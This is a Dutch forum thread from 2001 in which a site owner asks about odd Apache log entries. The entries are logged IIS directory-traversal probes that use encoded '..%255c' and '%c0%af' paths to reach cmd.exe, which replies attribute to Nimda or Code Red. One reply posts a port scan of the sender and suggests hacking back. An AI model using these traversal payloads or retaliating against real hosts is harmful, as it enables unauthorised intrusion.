rare entry's in apache logfiles

[Chiron]

hee mensen, ik keek laatst eens voor de gein in m'n logfiles, en zag dat er dit soort requests in stonden:

code:

24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 285
24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 283
24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 324
24.132.110.144 - - [20/Oct/2001:18:36:33 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 324
24.132.110.144 - - [20/Oct/2001:18:36:34 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.
exe?/c+dir HTTP/1.0" 404 340
24.132.110.144 - - [20/Oct/2001:18:36:34 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
24.132.110.144 - - [20/Oct/2001:18:36:34 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
24.132.110.144 - - [20/Oct/2001:18:36:34 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
24.132.110.144 - - [20/Oct/2001:18:36:34 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
24.132.110.144 - - [20/Oct/2001:18:36:37 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 290
24.132.110.144 - - [20/Oct/2001:18:36:37 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 290
24.132.110.144 - - [20/Oct/2001:18:36:37 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
24.132.110.144 - - [20/Oct/2001:18:36:37 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307

zijn dit script kiddo's die op zoek zijn naar beveiligingslekken? of is dit een of ander virus ofzo? of is dit een 'normale' m$-feature? (meldingen komen voornamelijk vanuit mijn eigen netwerk van Chello)

[dôh]

Ik weet het volgende over degene die jou heeft zitten hacken of whatever.

21 FTP SERVER
25 SMTP SERVER
42 NAMESERVER
53 DNS
80 HTTP (IIS 5.0 met bugs)
443 HttpS
389 LDAP

Suc6

[Verwijderd]

Dit is dus iemand die opzoek is naar lekken in je webserver (IIS?). Probeert een buffer overrun te genereren, waarmee hij ieder willekeurig commando op de machine waar de webserver op draait zou kunnen uitvoeren.

[dôh]

Maar hij heeft apache....die gast zelf heeft IIS met bugs....dus zou ik ff lekker terug pesten!

[bekkel]

heb er stuk of 4 per dag

[Roelant]

zijn dit script kiddo's die op zoek zijn naar beveiligingslekken?

Ja

[blender]

Nee, dit zijn geen scriptkiddo's dit ziet er meer uit als Nimda of Code Red, maar ik gok op de eerste.

[Chiron]

Op woensdag 14 november 2001 17:52 schreef Bl@de het volgende:
Ik weet het volgende over degene die jou heeft zitten hacken of whatever.

21 FTP SERVER
25 SMTP SERVER
42 NAMESERVER
53 DNS
80 HTTP (IIS 5.0 met bugs)
443 HttpS
389 LDAP

Suc6

duh

ik heb nmap ook draaien maar thx anyway

ik grep in ieder geval even een lijstje bijelkaar van ip's en die stuur ik even langs bij mijn vrienden van abuse